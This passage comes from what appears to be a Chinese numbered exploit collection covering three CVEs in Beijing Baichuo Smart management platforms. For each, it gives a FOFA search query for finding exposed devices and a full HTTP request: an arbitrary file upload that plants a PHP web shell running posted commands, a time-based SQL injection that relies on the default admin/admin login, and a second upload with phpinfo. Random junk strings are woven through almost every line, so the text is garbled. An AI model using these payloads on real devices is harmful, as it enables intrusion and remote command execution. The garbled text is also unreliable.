: d) A* B* M1 W5 p2 }& A& U: X6 v
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传 + W. w2 D* m) n& a7 U8 UCVE-2024-09393 o3 o# |7 i" U* r0 W3 |
FOFA：title="Smart管理平台"! v6 z: k v) o) C* R
POST /Tool/uploadfile.php? HTTP/1.1) G" S3 d+ ]4 l6 w2 ~ ?" x
Host: 192.168.40.130:8443" g9 `7 P ?& k$ K4 \
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f82 h Q0 d3 R. {
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.09 U; R6 H, K+ t" s
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.83 j( P, D9 b( |" p
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 $ a; Y" }% @" }/ j6 D0 T5 j6 cAccept-Encoding: gzip, deflate 0 J3 r' r, A3 R( J8 |- ~4 M% YContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887 ( @4 v( ?6 ^2 g! H2 ]2 t) fContent-Length: 405) b6 u( ]& b" B+ q1 f
Origin: https://192.168.40.130:8443) a8 A3 f* R" S c! c
Referer: https://192.168.40.130:8443/Tool/uploadfile.php& v/ l$ v- b% o: E1 @5 o# J4 v
Upgrade-Insecure-Requests: 1; V& n; U9 G) W3 n, k! F
Sec-Fetch-Dest: document * j# n2 F% n, K6 t/ eSec-Fetch-Mode: navigate 3 f1 T8 i. {. F) m2 U0 p( L( gSec-Fetch-Site: same-origin. J1 w9 r0 ~1 c1 D: B
Sec-Fetch-User: ?12 f: e. q* e, B' f, N
Te: trailers( g0 M! [1 P9 H" o* ~2 z g' D
Connection: close 2 S: T0 T4 d, k1 \. W. d* g1 S& w* y- {8 p2 \3 M& P
-----------------------------13979701222747646634037182887 " l9 u* o8 k: B7 d% BContent-Disposition: form-data; name="file_upload"; filename="contents.php" 4 N4 S+ h& ^* n, j: g& M- E+ [8 RContent-Type: application/octet-stream' D& @3 a7 m' h& e1 q3 ?
$ D$ M9 g- c$ B<?php ; b6 D& w/ v" [4 Ksystem($_POST["passwd"]); 9 z9 u& J! ^6 F7 n; B6 o?> 1 x# k$ Z1 q/ w* x4 X- u, O) s4 ]( u-----------------------------13979701222747646634037182887& l! H- v P. q* ^( _
Content-Disposition: form-data; name="txt_path"+ ^7 Y* [" q) k5 y) o+ y
+ U" Z& o, x ~" |
/home/src.php + N! [8 U+ f$ R% V-----------------------------13979701222747646634037182887--' U8 Q& A/ U( u l2 k" N
. X; |+ A1 @2 Y- j0 L 1 N) r; U4 B4 ]' U# R5 e' Z访问/home/src.php9 @ Q( j7 o# l! w( e
( H& j( R' `$ R119. 北京百绰智能S20后台sysmanageajax.php sql注入* g2 H0 f' Z4 A+ P& r/ H+ R
CVE-2024-1254: n- W' w& F. D6 J, o) W: i
FOFA：title="Smart管理平台" * o# x0 b& |# W先登录进入系统，默认账号密码为admin/admin# t4 `/ o: l' [2 S+ O" q
POST /sysmanage/sysmanageajax.php HTTP/1.11( ?6 C& F: A- Y0 m# ]
Host: x.x.x.x/ Y) Y( l* J$ f. G( }' k
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee/ U6 v2 O" G8 q% O4 E9 o% K
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 % c S5 t& J2 [6 aAccept: */*$ ]4 \4 B. _) C0 @# h; _$ _4 v
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 % E$ W- l- R3 E1 L! n8 p* w" jAccept-Encoding: gzip, deflate. j) Z- V3 ]% ^) C& T, T
Content-Type: application/x-www-form-urlencoded; , }5 e; n6 ~9 ]5 M9 KContent-Length: 109' \6 }0 n5 F) |: J
Origin: https://58.18.133.60:8443* P( L9 U- T1 B
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php8 `. G4 L n$ D3 ]+ U
Sec-Fetch-Dest: empty9 w1 M5 Y' F P8 D
Sec-Fetch-Mode: cors: `+ R" ~8 _8 ~* O' g
Sec-Fetch-Site: same-origin ! f1 |, R8 T& [$ j; MX-Forwarded-For: 1.1.1.1* t3 i' D3 {. F9 }% K/ R
X-Originating-Ip: 1.1.1.1# i' i3 }5 R- y5 X
X-Remote-Ip: 1.1.1.1+ v; h, M2 M* Z0 `; |: ^) H2 Q
X-Remote-Addr: 1.1.1.1 & [* Z" p. B b1 yTe: trailers 8 U9 T G3 ?4 T/ M' r2 |Connection: close) G; \) r" a. t k/ }4 l7 r
/ j: R5 s3 a. }6 F1 C K( ^src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456$ S- t" M a8 N( [# r3 O& \
. ]) P) x% h9 x2 [) m4 z7 v+ b 0 p4 X" o, X, |- t9 `120. 北京百绰智能S40管理平台导入web.php任意文件上传 6 L' T/ \7 N' ]- ]( k8 HCVE-2024-1253 # W4 {+ h* G! A+ j2 Y9 nFOFA：title="Smart管理平台"+ V2 |7 G, M6 X2 Q2 ~
POST /useratte/web.php? HTTP/1.1 * m v/ a2 Y- o/ L! V! oHost: ip:port: Z Q6 [: v- K! M5 E2 S* F
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db * e2 J4 T# U: y. J2 w) LUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko % ^* k3 A2 V6 W: K* P; aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8% B& H, u- Z3 b- z& s+ f3 T- u
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2) V5 @( T- h" p2 j$ N
Accept-Encoding: gzip, deflate- f: k! B- u( O. p* g# B5 Q1 w/ r8 G
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328 & u3 G* b% t$ W3 SContent-Length: 597 # B- X9 P1 p) gOrigin: https://ip:port2 w. H# O3 l* f
Referer: https://ip:port/sysmanage/licence.php/ Z8 k" D; W4 n$ D! P- U5 L, f/ {
Upgrade-Insecure-Requests: 1& T( e7 L9 I3 R6 F N8 X
Sec-Fetch-Dest: document, u W. W# w8 A; P: d0 p% ?; ]9 ]0 l
Sec-Fetch-Mode: navigate 9 m& o# Y* d+ c3 USec-Fetch-Site: same-origin! K# w6 C5 a/ G" ^7 L! R. g9 {
Sec-Fetch-User: ?1 $ ]9 O# {7 |& T0 a8 X% I, t* _0 NTe: trailers ; ]' K% e Z" E) t$ Z5 ] aConnection: close# h: g# f1 T$ O; L ?3 G4 ~9 h
7 b5 D) H3 t" @* P1 G. g
-----------------------------42328904123665875270630079328" S3 P$ P/ z% A! F9 a% O
Content-Disposition: form-data; name="file_upload"; filename="2.php" ' @! e9 n2 a: } DContent-Type: application/octet-stream- G! I; M" P. G4 v
3 J. O& ?- F4 n$ t<?php phpinfo()?> , S. A: r$ v; Y; m3 M& s-----------------------------42328904123665875270630079328 * t A# u3 }& h+ A" s2 kContent-Disposition: form-data; name="id_type"1 M) h7 k K4 \: o: d( B
! Q! p) t1 f0 \# r) c5 O$ H1: }. u4 Y4 P6 d
-----------------------------42328904123665875270630079328& r$ |7 Q( P- v+ A/ @* B
Content-Disposition: form-data; name="1_ck") s. n% g# u; b0 X7 |9 [- T
; D& G/ W4 J5 ^" N# |1_radhttp: U$ H. F) z; ?. O" n
-----------------------------42328904123665875270630079328) u, k! l* m2 D+ R' W
Content-Disposition: form-data; name="mode" 9 A% B+ L7 W Y/ g) ~5 K+ F/ W# U* n! B. [
import + |3 ^( f) P- n! r4 y, c/ A-----------------------------42328904123665875270630079328) r* }* B( q5 i0 O, m9 I